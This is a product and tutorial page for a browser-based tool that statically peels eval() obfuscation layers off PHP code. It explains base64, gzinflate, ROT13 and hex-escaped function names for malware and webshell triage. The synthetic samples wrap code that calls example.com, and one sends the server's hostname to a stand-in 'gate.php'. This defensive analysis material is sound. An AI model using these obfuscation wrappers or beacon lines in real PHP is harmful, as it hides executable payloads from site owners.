Peel the eval() layers
Runs in your browser. Nothing is uploaded.The largest string literal is taken as the payload, and the string functions the code names are applied to it as byte operations, one layer after another. A function name held in a variable is resolved when the variable is assigned a plain or escaped string. The paste is read as text and is not run.
Obfuscated PHP usually keeps its real code in an encoded string literal and rebuilds it at runtime with eval() over a chain of string functions such as base64_decode, gzinflate and str_rot13, with the function names themselves often hidden in hex or octal escapes. The literal and the chain are both in the file, so the layers can be reversed as data operations and the code read without being run. KlaroSkope peels the wrapper layers statically and returns the recovered PHP with the URLs and hosts it contains.
Worked examples
Synthetic samples. Each input decodes to the output shown, and the outputs are checked against the live engine before publication.
Example 1: eval(gzinflate(base64_decode(...)))
<?php eval(gzinflate(base64_decode('BcFBDoAgDATArxhOeqF3fQwhzSpGaJuwB57vDLT5dr8d5QGLuhHGuadGxjxFsOqIjqw+JKqhizbol7mYjusH'))); ?>
echo file_get_contents("https://example.com/panel/check.txt");The most common PHP wrapper. gzinflate reads raw DEFLATE data, which has no header, so the bytes that come out of the Base64 step carry no signature to recognise them by.
Example 2: ROT13 added to the chain
<?php eval(str_rot13(gzinflate(base64_decode('DcoxCsAgDADAr4TQQRfdK9L+RFQwQkFsqoK+vm433JHBAnaimE6t+SkrTlY1LN0KsYo9ogGuPcD9jcmuMbkaPLGnJI4MCvAar8WNfV32ZbFAj1KaHw==')))); ?>
$u = "https://example.com/gate.php"; echo @file_get_contents($u . "?id=" . php_uname("n"));str_rot13 is applied last here, to the decompressed text. Its position in the chain matters: the same function applied to the Base64 text instead would give a different, still valid-looking string.
Example 3: Decoder name hidden in hex escapes, two layers
<?php $o="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";@eval($o("ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgnZU5vRndURU93Q0FJQU1DdkdLZDJrVjIvNENlSWtFcUNhRm9HbnQrN3lVajhYcm52Z1M3YmFwcnU1NnNBSExpT2NobDdnYUtSMkFOaXhGR21MODEzU3h6aTdRY0dxeGM4JykpKTs=")); ?>
header("Location: https://example.com/landing/index.html"); exit;The file does not contain the text base64_decode. The name is spelled in \x escapes inside a double-quoted string, stored in a variable, and called through it. The first layer decodes to a second, ordinary eval chain.
Why obfuscated PHP still shows its eval
PHP lets a function be called through a variable that holds its name, a feature the manual calls variable functions (PHP manual). Obfuscators lean on it heavily: base64_decode and gzinflate are replaced by variables whose values are built elsewhere, so the names do not appear in the file. eval is the exception. It is a language construct and not a function, and the same manual page notes that variable functions do not work with language constructs, so eval generally has to be written out. That leaves an anchor in most obfuscated PHP: find the eval, and the expression inside its parentheses is the chain to reverse.
Older code has other ways to execute a string. assert() evaluated string arguments until PHP 8.0, create_function() existed until 8.0, and preg_replace() executed its replacement under the /e modifier until 7.0. They are worth searching for in a file from an old compromise, and they are a version clue in themselves.
READ THE CALLS FROM THE LITERAL OUTWARD
---------------------------------------
eval( str_rot13( gzinflate( base64_decode( 'S0ktLlGw...' ) ) ) );
1. the literal
2. Base64 text to bytes
3. raw DEFLATE bytes to text
4. ROT13 over that text
5. the construct that would run it: stop here and read insteadThe string functions that do most of the work
| Function | What it reverses | How to recognise its input |
|---|---|---|
| base64_decode | Base64 text to bytes | Letters, digits, + and /, often padded with = |
| gzinflate | Raw DEFLATE (RFC 1951) | No header; looks like arbitrary binary |
| gzuncompress | zlib (RFC 1950) | Bytes beginning 78 01, 78 9C or 78 DA |
| gzdecode | gzip (RFC 1952) | Bytes beginning 1F 8B |
| str_rot13 | Letters rotated by 13 | Text with intact punctuation and digits but unreadable words |
| strrev | Reversed string | A Base64 string whose = padding is at the front |
| hex2bin, pack with H* | Hex digits to bytes | Hex digits in pairs |
| rawurldecode, urldecode | Percent-encoding | Runs of % followed by two hex digits |
| convert_uudecode | uuencoded text | Lines that each begin with a length character, commonly M |
Two details cause most failed manual decodes. The first is that gzinflate, gzuncompress and gzdecode are not interchangeable: they read three different containers around the same compression (PHP manual), and feeding raw DEFLATE to a zlib routine fails on the missing header. The second is order. ROT13 applied to Base64 text produces another string in the Base64 alphabet, so a chain decoded in the wrong order does not raise an error at that step; it quietly yields bytes that will not decompress.
Function names hidden in escapes and variables
A double-quoted PHP string interprets \x followed by hex digits and a backslash followed by octal digits as character codes, while a single-quoted string does not. Obfuscators use that to spell a function name the file then does not contain as text, and they mix the two notations so that a search for either one alone misses it.
// The same thirteen characters, three ways
$f = 'base64_decode';
$f = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
$f = "\142\x61\x73\145\x36\64\x5f\x64\x65\143\157\144\x65";
// Called through the variable, so the name is absent from the call site
@eval($f("ZWNobyAnZGVjb2RlZCc7"));Further variations build the name in pieces with the .= operator across many statements, pull single characters out of a scrambled alphabet string by index, or read the name from $GLOBALS or a request parameter. The first two are still static: the pieces are literals and can be joined by reading. A name taken from a request parameter is not in the file at all, and at that point the file is a backdoor waiting for instructions, which is a finding in its own right.
FOPO output
FOPO, the Free Online PHP Obfuscator, is a common generator of this shape, and its output is easy to recognise. A comment block at the top names the tool and carries a creation date and a checksum. One variable holds base64_decode spelled in mixed hex and octal escapes, and a single @eval calls it on a long Base64 literal, often wrapped across many lines. That outer layer is the simple one. What it decodes to is denser: more function names assembled a character at a time, and a conditional that compares a hash before choosing between two encoded branches.
The hash comparison is the reason the usual shortcut of swapping eval for echo can stop working partway down, since an edited file may no longer take the branch the original did. Reading the layers as data is not affected by it. The decoder on this page peels the outer layer and any plain chain beneath it; when it reports that an eval call remains that it could not follow from a literal, the file has reached the assembled-name stage, and the full chain is a job for the engine.
Working through a PHP wrapper safely
- Do not test on the server the file came from. If you do swap `eval` for `echo`, run it with the command-line interpreter in an isolated machine, and remember that the statements before the eval still execute.
- Decode from the literal where the chain is literal. Copy the string, apply the functions from the innermost outward, and look at the result after each step instead of at the end.
- Check which decompression function is named before reaching for a tool. Raw DEFLATE, zlib and gzip need different routines, and most generic converters assume one of them.
- Read the recovered code for its access check. Webshells commonly gate their function on a password, cookie or header value, and that value is a precise indicator for log searches.
- Keep the obfuscated original. The banner comment, the variable naming pattern and the layer order identify the tool that produced the file and tend to repeat across a compromise.
The decoder on this page reverses wrapper layers around one literal. For a whole file, with assembled function names, branch checks and indicator extraction, submit the file; the PHP webshell guide covers the techniques in depth.
Frequently Asked Questions
How do I decode eval(gzinflate(base64_decode(...)))?
What is FOPO?
Why is a PHP function name written as \x62\x61\x73\x65?
Is it safe to replace eval with echo to see the code?
Can this decode ionCube, SourceGuardian or Zend Guard files?
Continue Learning
Ready to decode?
Paste the script or upload the file. Multi-layer samples continue past this technique into whatever comes next.
Open the analysis console